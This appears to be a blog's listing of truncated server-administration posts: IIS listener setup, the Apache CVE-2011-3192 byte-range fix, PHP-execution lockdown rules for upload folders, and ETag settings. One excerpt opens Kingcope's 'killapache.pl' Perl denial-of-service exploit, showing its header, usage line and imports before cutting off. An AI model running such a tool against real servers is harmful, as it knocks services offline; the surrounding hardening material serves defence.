1) Added or make sure your machine has two or more ip’s
2) Open a command prompt
3) Type netsh
4) Type http
5) Type sho iplisten. It should be blank
6) Type add iplisten ipaddress=192.168.0.90
You should get IP address successfully added
7) Type sho iplisten again
It should sho 192.168.0.90 in the list
8) Type exit to get out of netsh
9) Type type netstat -an. See if you notice 192.168.0.90:80 in the list. If you see 0.0.0.0:80, do an iisreset
10) Download… Read the rest

• SECURITY: CVE-2011-3192 (cve.mitre.org) core: Fix handling of byte-range requests to use less memory, to avoid denial of service. If the sum of all ranges in a request is larger than the original file, ignore the ranges and send the complete file. PR 51714.

We consider this release to be the best version of Apache available, and encourage users… Read the rest

        Exploit method:

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope\n";
    print "usage: perl killapache.pl <host> [numforks]\n";
    print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {

… Read the rest

<Directory /website/attachments>
php_flag engine off
</Directory>

We want disable upload directory php execute privileges on nginx,It’s so simple

location /upload/ {
location ~ .*\.(php)?$
{
deny all;
}
}

limit more directory

location ~* ^/(upload|images)/.*\.(php|php5)$
{
deny all;
}

If your web server is lighthttpd you can

$HTTP["url"] =~ "^/(forumdata|templates|customavatars?)/" {
fastcgi.server = ()
}
Apache:
<Location "/forumdata">
php_admin_flag engine off
Options -ExecCGI
AddType text/plain .html .htm .shtml .php
</Location>

Hope it will help you.

Install the misleading simplicity of the software run smoothly on their own, but it is not the case.  Finally, application load will exceed the set comes with back-end server processing power, application performance will be reduced.  LAMP installation requires constant monitoring,… Read the rest

   <Directory /website/upload>
        php_flag engine off
   </Directory>

Disable php executive privileges for nginx:

      location ~ ^/upload/.*\.(php|php5)$

     {

              deny all;

     }

We’ll try this on our server and hopefully offer this to our shared hosting clients who wants SSL but not interested in paying extra for a… Read the rest

We’ll try this on our server and hopefully offer this to our shared hosting clients who wants SSL but not interested in paying extra for a… Read the rest

FileETag none

If you want to close Last-Modified keyword, you need load header module and modified httpd.conf.

LoadModule headers_module modules/mod_headers.so

<FilesMatch "\.(gif|jpg|png)">
Header unset Last-Modified
</FilesMatch>